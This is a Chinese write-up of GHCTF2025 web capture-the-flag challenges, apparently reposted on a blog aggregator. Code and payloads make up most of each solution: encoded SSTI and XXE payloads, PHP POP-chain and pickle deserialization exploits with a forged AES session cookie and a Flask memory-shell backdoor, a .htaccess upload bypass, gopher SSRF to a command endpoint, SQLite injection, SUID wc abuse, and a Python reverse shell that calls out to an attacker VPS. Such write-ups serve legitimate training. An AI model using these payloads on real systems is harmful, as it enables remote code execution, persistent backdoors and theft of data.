当前位置: 首页 > news >正文

GHCTF2025--Web

upload?SSTI!

import os
import refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filenameapp = Flask(__name__)# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MBapp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):return os.path.commonpath([basedir,path])def contains_dangerous_keywords(file_path):dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]with open(file_path, 'rb') as f:file_content = str(f.read())for keyword in dangerous_keywords:if keyword in file_content:return True  # 找到危险关键字,返回 Truereturn False  # 文件内容中没有危险关键字
def allowed_file(filename):return '.' in filename and \filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':# 检查是否有文件被上传if 'file' not in request.files:return jsonify({"error": "未上传文件"}), 400file = request.files['file']# 检查是否选择了文件if file.filename == '':return jsonify({"error": "请选择文件"}), 400# 验证文件名和扩展名if file and allowed_file(file.filename):# 安全处理文件名filename = secure_filename(file.filename)# 保存文件save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)file.save(save_path)# 返回文件路径(绝对路径)return jsonify({"message": "File uploaded successfully","path": os.path.abspath(save_path)}), 200else:return jsonify({"error": "文件类型错误"}), 400# GET 请求显示上传表单(可选)return '''<!doctype html><title>Upload File</title><h1>Upload File</h1><form method=post enctype=multipart/form-data><input type=file name=file><input type=submit value=Upload></form>'''@app.route('/file/<path:filename>')
def view_file(filename):try:# 1. 过滤文件名safe_filename = secure_filename(filename)if not safe_filename:abort(400, description="无效文件名")# 2. 构造完整路径file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)# 3. 路径安全检查if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):abort(403, description="禁止访问的路径")# 4. 检查文件是否存在if not os.path.isfile(file_path):abort(404, description="文件不存在")suffix=os.path.splitext(filename)[1]print(suffix)if suffix==".jpg" or suffix==".png" or suffix==".gif":return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')if contains_dangerous_keywords(file_path):# 删除不安全的文件os.remove(file_path)return jsonify({"error": "Waf!!!!"}), 400with open(file_path, 'rb') as f:file_data = f.read().decode('utf-8')tmp_str = """<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>查看文件内容</title></head><body><h1>文件内容:{name}</h1>  <!-- 显示文件名 --><pre>{data}</pre>  <!-- 显示文件内容 --><footer><p>&copy; 2025 文件查看器</p></footer></body></html>""".format(name=safe_filename, data=file_data)return render_template_string(tmp_str)except Exception as e:app.logger.error(f"文件查看失败: {str(e)}")abort(500, description="文件查看失败:{} ".format(str(e)))# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):return {"error": error.description}, 404@app.errorhandler(403)
def forbidden(error):return {"error": error.description}, 403if __name__ == '__main__':app.run("0.0.0.0",debug=False)

很明显的ssti, 过滤的内容也不多
直接编码绕就行
payload:

{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}

在这里插入图片描述
直接访问 /file/1.txt就行
在这里插入图片描述

(>﹏<)

直接给了源码

from flask import Flask, request
import base64
from lxml import etree
import reapp = Flask(__name__)@app.route('/')
def index():return open(__file__).read()@app.route('/ghctf', methods=['POST'])
def parse():xml = request.form.get('xml')print(xml)if xml is None:return "No System is Safe."parser = etree.XMLParser(load_dtd=True, resolve_entities=True)root = etree.fromstring(xml, parser)name = root.find('name').textreturn name or Noneif __name__ == "__main__":app.run(host='0.0.0.0', port=8080)

parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
load_dtd=True: 允许解析器加载并处理 XML 文档中的 DTD
resolve_entities=True: 启用实体解析功能,包括外部实体

很明显的打xxe, 而且也没有什么过滤

import requestsurl="http://node2.anna.nssctf.cn:28836/ghctf"
payload="""<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">
]>
<root><name>&xxe;</name>
</root>"""data={"xml":payload}
res = requests.post(url=url, data=data)
print(res.text)

在这里插入图片描述

ez_readfile

代码很简单

<?phpshow_source(__FILE__);if (md5($_POST['a']) === md5($_POST['b'])) {if ($_POST['a'] != $_POST['b']) {if (is_string($_POST['a']) && is_string($_POST['b'])) {echo file_get_contents($_GET['file']);}}}
?>

基础的md5绕过, 然后就是file_get_contents读文件
但是读了/flag没有反应, 应该是改了文件名
首先开始想的是PHP Base64 Filter宽松解析特性和iconv filter编码转换构造命令执行
但是好像没有用, 根本没办法去执行
在这里插入图片描述
然后想的是利用CVE-2024-2961从读文件到rce, 但也是一直没成功, 有点不理解

后面就想读一下环境变量, /proc/self/environ , 但是权限不足
就一直想找有没有什么文件能指定flag文件的名字
后面就找到了/docker-entrypoint.sh这个文件
发现里面有flag的文件名 (真是离谱的长)
直接读它拿到flag
在这里插入图片描述

在这里插入图片描述

Popppppp

php反序列化, 看似代码很多, 其实大都是没有用的
一些分析的过程写在注释里面了

<?php
error_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai//1.1 $fruit1=new CherryBlossom    }public function __toString() {$newFunc = $this->fruit2;return $newFunc(); //找__invoke, 1.2 $fruit2= new Philosopher}
}class Forbidden {private $fruit3;public function __construct($string) {$this->fruit3 = $string;}public function __get($name) {$var = $this->$name;$var[$name]();}
}class Warlord {public $fruit4;public $fruit5;public $arg1;public function __call($arg1, $arg2) {$function = $this->fruit4;return $function();}public function __get($arg1) {$this->fruit5->ll2('b2');}
}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}
}class Mystery {//自己手动加public $SplFileObject = "php://filter/read=convert.base64-encode/resource=/flag";//$day2对象的属性名, $day1是对象的属性值public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1); //利用SplFileObject读取文件foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}
}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}
}class Philosopher {public $fruit10;public $fruit11="sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {//需要绕过, 弱比较, 所以需要找到md5值开头是666后接字母的表达, 写一个脚本跑一下可以找到很多 比如"7000120353"return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden}                               //使用Mystery  1.3 $fruit10=new Mystery}                                   
}class UselessTwo {public $hiddenVar = "123123";public function __construct($value) {$this->hiddenVar = $value;}public function __toString() {return $this->hiddenVar;}
}class Warrior {public $fruit12;private $fruit13;public function __set($name, $value) {$this->$name = $value;if ($this->fruit13 == "xxx") {strtolower($this->fruit12);}}
}class UselessThree {public $dummyVar;public function __call($name, $args) {return $name;}
}class UselessFour {public $lalala;public function __destruct() {echo "Hehe";}}if (isset($_GET['GHCTF'])) {unserialize($_GET['GHCTF']);
} else {highlight_file(__FILE__);
}//利用点: 1.Mystery里面的array_walk函数
//2. Princess类里面的call_user_func函数$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2= new Philosopher();
$a->fruit1->fruit2->fruit11=7000120353;
$a->fruit1->fruit2->fruit10=new Mystery();echo serialize($a);

最后就是要利用php的原生类进行读取目录以及读取文件
GlobIterator配合glob://协议读取根目录
SplFileObject配合php伪协议读取文件

<?php
error_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;function __destruct() {echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai//1.1 $fruit1=new CherryBlossom}public function __toString() {$newFunc = $this->fruit2;return $newFunc(); //找invoke, 1.2 $fruit2= new Philosopher}
}class Mystery {//自己手动加
//    public $SplFileObject = "php://filter/read=convert.base64-encode/resource=flag.php";public $GlobIterator="glob:///*";public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1); //利用SplFileObject读取文件foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}
}class Philosopher {public $fruit10;public $fruit11="sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {//需要绕过, 若比较, 所以需要找到md5值开头是666后接字母的表达 "7000120353"return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden}                               //使用Mystery  1.3 $fruit10=new Mystery}
}//利用点: Mystery里面的array_walk函数$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2= new Philosopher();
$a->fruit1->fruit2->fruit11=7000120353;
$a->fruit1->fruit2->fruit10=new Mystery();echo urlencode(serialize($a));

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

md5爆破的脚本

# @Author   :wi1shuimport hashlib
import threadingtotal = 100000000000  # 从1到多少
threads = 100  # 线程数
truncation = "666"  # 被截断的值
positions = [0, 3]  # 截断位置
per_thread = total // threads
threads_list = []def double_md5(value):first_hash = hashlib.md5(str(value).encode()).hexdigest()second_hash = hashlib.md5(first_hash.encode()).hexdigest()return second_hashdef calculate_md5(start, end):for i in range(start, end):md5 = double_md5(i)if md5[positions[0]:positions[1]] == truncation:print(f"{truncation} -> {i}: {md5}")if __name__ == "__main__":for i in range(threads):start = i * per_thread + 1end = start + per_threadif i == threads - 1:end = total + 1thread = threading.Thread(target=calculate_md5, args=(start, end))threads_list.append(thread)thread.start()for thread in threads_list:thread.join()print("finished.")

ezzzz_pickle

一个登录框, admin / admin123 弱口令进入
在这里插入图片描述

点击读取flag, 抓包, 可以看到一个filename参数

可以读取文件
在这里插入图片描述

感觉这个读取文件的全都可以用前面发现的非预期了
读取这个文件docker-entrypoint.sh

在这里插入图片描述

在这里插入图片描述

不过还是要尝试预期做法, 读一下源码

from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import osapp = Flask(__name__)def generate_key_iv():key = os.environ.get('SECRET_key').encode()iv = os.environ.get('SECRET_iv').encode()return key, ivdef aes_encrypt_decrypt(data, key, iv, mode='encrypt'):cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())if mode == 'encrypt':encryptor = cipher.encryptor()padder = padding.PKCS7(algorithms.AES.block_size).padder()padded_data = padder.update(data.encode()) + padder.finalize()result = encryptor.update(padded_data) + encryptor.finalize()return base64.b64encode(result).decode()elif mode == 'decrypt':decryptor = cipher.decryptor()encrypted_data_bytes = base64.b64decode(data)decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()return unpadded_data.decode()users = {"admin": "admin123"}def create_session(username):session_data = {"username": username, "expires": time.time() + 3600}pickled = pickle.dumps(session_data)pickled_data = base64.b64encode(pickled).decode('utf-8')key, iv = generate_key_iv()session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')return sessiondef download_file(filename):path = os.path.join("static", filename)with open(path, 'rb') as f:data = f.read().decode('utf-8')return datadef validate_session(cookie):try:key, iv = generate_key_iv()pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')pickled_data = base64.b64decode(pickled)session_data = pickle.loads(pickled_data)if session_data["username"] != "admin":return Falsereturn session_data if session_data["expires"] > time.time() else Falseexcept:return False@app.route("/", methods=['GET', 'POST'])
def index():if "session" in request.cookies:session = validate_session(request.cookies["session"])if session:data = ""filename = request.form.get("filename")if filename:data = download_file(filename)return render_template("index.html", name=session['username'], file_data=data)return redirect("/login")@app.route("/login", methods=["GET", "POST"])
def login():if request.method == "POST":username = request.form.get("username")password = request.form.get("password")if users.get(username) == password:resp = make_response(redirect("/"))resp.set_cookie("session", create_session(username))return respreturn render_template("login.html", error="Invalid username or password")return render_template("login.html")@app.route("/logout")
def logout():resp = make_response(redirect("/login"))resp.delete_cookie("session")return respif __name__ == "__main__":app.run(host="0.0.0.0", debug=False)

可以拿到源码, 可以发现在校验cookie的时候会执行 pickle.loads, 进行反序列化, 就是要利用这里, 所以需要伪造cookie

def validate_session(cookie):try:key, iv = generate_key_iv()pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')pickled_data = base64.b64decode(pickled)session_data =a pickle.loads(pickled_dta) #漏洞点, 进行反序列化if session_data["username"] != "admin":return Falsereturn session_data if session_data["expires"] > time.time() else Falseexcept:return False

继续读环境变量, 可以发现SECRET_key, SECRET_iv的值
key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
iv=asdwdggiouewhgpw
在这里插入图片描述有了key, 那就可以伪造cookie了, 当服务器校验cookie的时候就可以触发pickle.loads进行反序列化, 执行恶意代码了
不过没有回显, 可以尝试写文件, 反弹shell, 打内存马之类的

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import osclass Exploit:def __reduce__(self):return (os.system, ('whoami > /tmp/1.txt',))def generate_key_iv():key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"iv = b"asdwdggiouewhgpw"return key, ivdef aes_encrypt_decrypt(data, key, iv, mode='encrypt'):cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())if mode == 'encrypt':encryptor = cipher.encryptor()padder = padding.PKCS7(algorithms.AES.block_size).padder()padded_data = padder.update(data.encode()) + padder.finalize()result = encryptor.update(padded_data) + encryptor.finalize()return base64.b64encode(result).decode()elif mode == 'decrypt':decryptor = cipher.decryptor()encrypted_data_bytes = base64.b64decode(data)decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()return unpadded_data.decode()users = {"admin": "admin123"}def create_session(username):session_data = {"username": username, "expires": time.time() + 3600, "exp":Exploit()} #加上恶意代码pickled = pickle.dumps(session_data)pickled_data = base64.b64encode(pickled).decode('utf-8')print(pickled_data)key, iv = generate_key_iv()session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')print("[+]session:"+session)return sessiondef validate_session(cookie):try:key, iv = generate_key_iv()pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')# print(pickled)pickled_data = base64.b64decode(pickled)# print(pickled_data)session_data = pickle.loads(pickled_data)print(session_data)if session_data["username"] != "admin":return Falsereturn session_data if session_data["expires"] > time.time() else Falseexcept:return Falsecreate_session("admin")
# 3AIoDTviFKHyONegqv4u+FWzecUPuH3EsKRB1Vioy9BWo7scZqKebzY5GfXDjcWUxxwwZWo1QRVo3tmcAosqCnRWQUtPARbxkZsiGhTQSA4iu28IAZp/5LKFcdfVXji+IOTuvlcc2mjPionMqgOZ3aomjGveIS0rbYoe9nok6yTzitoe3B4tf23ltbIGKWGE

有点奇怪, 我自己本地试了一下这个cookie是可以被反序列化然后执行的, 但是靶机上一直没成功,可能没有权限还是干嘛
然后又试试打内存马

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import osclass Exp:def __reduce__(self):return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))def generate_key_iv():key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"iv = b"asdwdggiouewhgpw"return key, ivdef aes_encrypt_decrypt(data, key, iv, mode='encrypt'):cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())if mode == 'encrypt':encryptor = cipher.encryptor()padder = padding.PKCS7(algorithms.AES.block_size).padder()padded_data = padder.update(data.encode()) + padder.finalize()result = encryptor.update(padded_data) + encryptor.finalize()return base64.b64encode(result).decode()elif mode == 'decrypt':decryptor = cipher.decryptor()encrypted_data_bytes = base64.b64decode(data)decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()return unpadded_data.decode()users = {"admin": "admin123"}def create_session(username):session_data = {"username": username, "expires": time.time() + 3600,}pickled = pickle.dumps(session_data)pickled_data = base64.b64encode(pickled).decode('utf-8')print(pickled_data)key, iv = generate_key_iv()session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')print("[+]session:"+session)return sessiondef validate_session(cookie):try:key, iv = generate_key_iv()pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')# print(pickled)pickled_data = base64.b64decode(pickled)# print(pickled_data)session_data = pickle.loads(pickled_data)print(session_data)if session_data["username"] != "admin":return Falsereturn session_data if session_data["expires"] > time.time() else Falseexcept:return Falseexp = Exp()
create_session(exp)

在这里插入图片描述

UPUPUP

可以上传.htaccess文件
但是后端检验了mine类型, 直接加上GIF89a 上传会报500错误,有语法错误, 而在.htaccess 中有两个注释符,或者相当于单行注释的符号 , 可以通过这两个绕过getimagesize和exif_imagetype

\x00
#

所以就可以这样写.htaccess

#define width 1
#define height 1
<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

在上传1.jpg就行

Goph3rrr

/app.py可以看到源码
关键代码

from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import randomapp = Flask(__name__)
BlackList = ["127.0.0.1"
]
@app.route('/Gopher')
def visit():url = request.args.get('url')if url is None:return "No url provided :)"url = urlparse(url)realIpAddress = socket.gethostbyname(url.hostname)if url.scheme == "file" or realIpAddress in BlackList:return "No (≧∇≦)"result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)return result.stdout
@app.route('/Manage', methods=['POST'])
def cmd():if request.remote_addr != "127.0.0.1":return "Forbidden!!!"if request.method == "GET":return "Allowed!!!"if request.method == "POST":return os.popen(request.form.get("cmd")).read()

本来是想在自己vps上起一个302.php跳转,Gopher?url=http://pmjphw.top/302.php
但是/Manage路由必须要是POST方法才能执行cmd, 302跳转不起作用

在这里插入图片描述

所以必须用gopher协议, 发送一个post的请求
因为过滤了 127.0.0.1, 可以使用 0.0.0.0进行绕过

payload:

import urllib.parse
payload =\
"""POST /Manage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7cmd=env
"""#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://0.0.0.0:8000/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码#gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A

SQL???

进入首页就是这样的, 很明显, 应该就是sql注入了

经过测试, 输入单引号和双引号' "会显示hacker, 被过滤了
union select 联合查询一下可以发现有回显点
在这里插入图片描述

但好像没有用, 没办法执行一些操作
前面一直卡在这, 没办法执行一些函数操作啥的, 就没管了, 后面wp出来之后才知道这是Sqlite注⼊ , 怪我见识短浅了

比如查看版本用的是 sqlite_version() 而之前我一直用的version(),总是报错

在这里插入图片描述
sqlite里面没有像其他数据库那样的information_schema,而是依赖sqlite_master

在这里插入图片描述

id=1 union select 1,sqlite_version(),(select sql from sqlite_master limit 0,1),4,5

查询第一条记录的创建语句 , 可以看到存在表flag 以及字段名flag
在这里插入图片描述
拿数据内容

id=1 union select 1,sqlite_version(),(select * from flag),4,5
或者
id=1 union select 1,sqlite_version(),(select group_concat(flag) from flag),4,5

在这里插入图片描述

Message in a Bottle

一个留言板, 下意识的会以为是xss, 虽然确实可以弹窗, 但是没有什么作用

from bottle import Bottle, request, template, runapp = Bottle()# 存储留言的列表
messages = []
def handle_message(message):message_items = "".join([f"""<div class="message-card"><div class="message-content">{msg}</div><small class="message-time">#{idx + 1} - 刚刚</small></div>""" for idx, msg in enumerate(message)])board = f"""<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>简约留言板</title><link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet"><style>:root {{--primary-color: #4a90e2;--hover-color: #357abd;--background-color: #f8f9fa;--card-background: #ffffff;--shadow-color: rgba(0, 0, 0, 0.1);}}body {{background: var(--background-color);min-height: 100vh;padding: 2rem 0;font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;}}.container {{max-width: 800px;background: var(--card-background);border-radius: 15px;box-shadow: 0 4px 6px var(--shadow-color);padding: 2rem;margin-top: 2rem;animation: fadeIn 0.5s ease-in-out;}}@keyframes fadeIn {{from {{ opacity: 0; transform: translateY(20px); }}to {{ opacity: 1; transform: translateY(0); }}}}.message-card {{background: var(--card-background);border-radius: 10px;padding: 1.5rem;margin: 1rem 0;transition: all 0.3s ease;border-left: 4px solid var(--primary-color);box-shadow: 0 2px 4px var(--shadow-color);}}.message-card:hover {{transform: translateX(10px);box-shadow: 0 4px 8px var(--shadow-color);}}.message-content {{font-size: 1.1rem;color: #333;line-height: 1.6;margin-bottom: 0.5rem;}}.message-time {{color: #6c757d;font-size: 0.9rem;display: block;margin-top: 0.5rem;}}textarea {{width: 100%;height: 120px;padding: 1rem;border: 2px solid #e9ecef;border-radius: 10px;resize: vertical;font-size: 1rem;transition: border-color 0.3s ease;}}textarea:focus {{border-color: var(--primary-color);outline: none;box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);}}.btn-custom {{background: var(--primary-color);color: white;padding: 0.8rem 2rem;border-radius: 10px;border: none;transition: all 0.3s ease;font-weight: 500;text-transform: uppercase;letter-spacing: 0.05rem;}}.btn-custom:hover {{background: var(--hover-color);transform: translateY(-2px);box-shadow: 0 4px 8px var(--shadow-color);}}h1 {{color: var(--primary-color);text-align: center;margin-bottom: 2rem;font-weight: 600;font-size: 2.5rem;text-shadow: 2px 2px 4px var(--shadow-color);}}.btn-danger {{transition: all 0.3s ease;padding: 0.6rem 1.5rem;border-radius: 10px;text-transform: uppercase;letter-spacing: 0.05rem;}}.btn-danger:hover {{transform: translateY(-2px);box-shadow: 0 4px 8px var(--shadow-color);}}.text-muted {{font-style: italic;color: #6c757d !important;}}@media (max-width: 576px) {{h1 {{font-size: 2rem;}}.container {{padding: 1.5rem;}}.message-card {{padding: 1rem;}}}}</style></head><body><div class="container"><div class="d-flex justify-content-between align-items-center mb-4"><h1 class="mb-0">📝 简约留言板</h1><a href="/Clean" class="btn btn-danger"onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')">🗑️ 一键清理</a></div><form action="/submit" method="post"><textarea name="message" placeholder="输入payload暴打出题人"required></textarea><div class="d-grid gap-2"><button type="submit" class="btn-custom">发布留言</button></div></form><div class="message-list mt-4"><div class="d-flex justify-content-between align-items-center mb-3"><h4 class="mb-0">最新留言({len(message)}条)</h4>{f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}</div>{message_items}</div></div></body></html>"""return boarddef waf(message):return message.replace("{", "").replace("}", "")@app.route('/')
def index():return template(handle_message(messages))@app.route('/Clean')
def Clean():global messagesmessages = []return '<script>window.location.href="/"</script>'@app.route('/submit', method='POST')
def submit():message = waf(request.forms.get('message'))messages.append(message)return template(handle_message(messages))if __name__ == '__main__':run(app, host='localhost', port=9000)

看到代码, 会将 {}替换为空, 使用了bottle库, 查找一些资料, 发现存在ssti模板注入, 本地搭建环境, 把waf去掉, 可以发现使用 {{2*2}} 会回显4, 确实存在漏洞
不过{ 和 } 被替换为空了那么就几乎不可能使用这种方法了

进过查找一些资料, 可以发现可以通过 % 来执行python代码
本地测试了一下
在这里插入图片描述在这里插入图片描述可以执行代码, 但是题目是没有回显的, 所以需要反弹shell, 连上自己的vps

message=%0A%import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);#

虽然这里显示请求失败, 但服务器还是连上了
在这里插入图片描述
在这里插入图片描述

GetShell

<?php
highlight_file(__FILE__);class ConfigLoader {private $config;public function __construct() {$this->config = ['debug' => true,'mode' => 'production','log_level' => 'info','max_input_length' => 100,'min_password_length' => 8,'allowed_actions' => ['run', 'debug', 'generate']];}public function get($key) {return $this->config[$key] ?? null;}
}class Logger {private $logLevel;public function __construct($logLevel) {$this->logLevel = $logLevel;}public function log($message, $level = 'info') {if ($level === $this->logLevel) {echo "[LOG] $message\n";}}
}class UserManager {private $users = [];private $logger;public function __construct($logger) {$this->logger = $logger;}public function addUser($username, $password) {if (strlen($username) < 5) {return "Username must be at least 5 characters";}if (strlen($password) < 8) {return "Password must be at least 8 characters";}$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);$this->logger->log("User $username added");return "User $username added";}public function authenticate($username, $password) {if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {$this->logger->log("User $username authenticated");return "User $username authenticated";}return "Authentication failed";}
}class StringUtils {public static function sanitize($input) {return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');}public static function generateRandomString($length = 10) {return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);}
}class InputValidator {private $maxLength;public function __construct($maxLength) {$this->maxLength = $maxLength;}public function validate($input) {if (strlen($input) > $this->maxLength) {return "Input exceeds maximum length of {$this->maxLength} characters";}return true;}
}class CommandExecutor {private $logger;public function __construct($logger) {$this->logger = $logger;}public function execute($input) {if (strpos($input, ' ') !== false) {$this->logger->log("Invalid input: space detected");die('No spaces allowed');}@exec($input, $output);$this->logger->log("Result: $input");return implode("\n", $output);}
}class ActionHandler {private $config;private $logger;private $executor;public function __construct($config, $logger) {$this->config = $config;$this->logger = $logger;$this->executor = new CommandExecutor($logger);}public function handle($action, $input) {if (!in_array($action, $this->config->get('allowed_actions'))) {return "Invalid action";}if ($action === 'run') {$validator = new InputValidator($this->config->get('max_input_length'));$validationResult = $validator->validate($input);if ($validationResult !== true) {return $validationResult;}return $this->executor->execute($input);} elseif ($action === 'debug') {return "Debug mode enabled";} elseif ($action === 'generate') {return "Random string: " . StringUtils::generateRandomString(15);}return "Unknown action";}
}if (isset($_REQUEST['action'])) {$config = new ConfigLoader();$logger = new Logger($config->get('log_level'));$actionHandler = new ActionHandler($config, $logger);$input = $_REQUEST['input'] ?? '';echo $actionHandler->handle($_REQUEST['action'], $input);
} else {$config = new ConfigLoader();$logger = new Logger($config->get('log_level'));$userManager = new UserManager($logger);if (isset($_POST['register'])) {$username = $_POST['username'];$password = $_POST['password'];echo $userManager->addUser($username, $password);}if (isset($_POST['login'])) {$username = $_POST['username'];$password = $_POST['password'];echo $userManager->authenticate($username, $password);}$logger->log("No action provided, running default logic");
}

代码看着很复杂, 但很多也不用去看

直接构造这样的payload就可以执行命令了
过滤了空格, 可以用${IFS}绕过

?action=run&input=ls${IFS}-l${IFS}/

但是无法拿到flag, 看一下权限发现完全没有任何权限
在这里插入图片描述

尝试suid提权

find${IFS}/${IFS}-user${IFS}root${IFS}-perm${IFS}-4000${IFS}-print或者输出到tmp目录下去
find${IFS}/${IFS}-user${IFS}root${IFS}-perm${IFS}-4000${IFS}-print${IFS}>/tmp/1.txt

好像也没啥可以利用的, 不过看着这个 /var/www/html/wc感觉有点奇怪, 也不知道有什么用

/var/www/html/wc
/bin/umount
/bin/mount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh

尝试执行一下, 应该输出了/flag行数 单词数 字符数, 但没法显示出flag啊 , 不知道要怎么利用
在这里插入图片描述看了wp后发现, 这个wc 的用法
https://gtfobins.github.io/
在这里插入图片描述在这里插入图片描述

使用/var/www/html/wc --files0-from "/flag" 即可读到flag

相关文章:

GHCTF2025--Web

upload?SSTI! import os import refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect from werkzeug.utils import secure_filename import os from werkzeug.utils import secure_filenameapp Flask(__name__)# 配置…...

文件上传漏洞(upload-labs)

目录 Pass-01(前端绕过) &#xff08;1&#xff09;JavaScript &#xff08;2&#xff09;Burpsuite&#xff08;改后缀&#xff09; Pass-02&#xff08;IMME类型 &#xff09; burpsuite&#xff08;改文件类型&#xff09; Pass-03&#xff08;黑名单绕过&#xff09; …...

图片的拖拽+缩放

